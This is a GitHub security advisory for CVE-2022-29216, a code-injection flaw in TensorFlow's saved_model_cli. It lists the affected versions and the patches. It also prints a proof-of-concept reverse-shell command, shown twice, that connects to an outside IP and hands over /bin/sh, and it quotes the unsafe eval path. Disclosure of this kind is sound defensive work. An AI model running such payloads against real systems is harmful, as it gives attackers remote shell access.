GHSA-75C9-JRH4-79MC
Vulnerability from github – Published: 2022-05-24 22:16 – Updated: 2022-06-06 18:13
VLAI?
Summary
Code injection in `saved_model_cli` in TensorFlow
Details
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
Severity ?
7.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29216"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-24T22:16:48Z",
"nvd_published_at": "2022-05-21T00:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nTensorFlow\u0027s `saved_model_cli` tool is vulnerable to a code injection:\n\n```\nsaved_model_cli run --input_exprs \u0027x=print(\"malicious code to run\")\u0027 --dir ./\n--tag_set serve --signature_def serving_default\n```\n\nThis can be used to open a reverse shell \n\n```\nsaved_model_cli run --input_exprs \u0027hello=exec(\"\"\"\\nimport socket\\nimport\nsubprocess\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\"10.0.2.143\",33419))\\nsubprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\"\"\")\u0027\n--dir ./ --tag_set serve --signature_def serving_default\n```\n\nThis is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:\n\n```python\ndef preprocess_input_exprs_arg_string(input_exprs_str, safe=True):\n # ...\n\n for input_raw in filter(bool, input_exprs_str.split(\u0027;\u0027)):\n # ...\n if safe:\n # ...\n else:\n # ast.literal_eval does not work with numpy expressions\n input_dict[input_key] = eval(expr) # pylint: disable=eval-used\n return input_dict\n```\n\nThis code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.\n\nHowever, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`.\n\n### Patches\nWe have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.",
"id": "GHSA-75c9-jrh4-79mc",
"modified": "2022-06-06T18:13:28Z",
"published": "2022-05-24T22:16:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29216"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code injection in `saved_model_cli` in TensorFlow"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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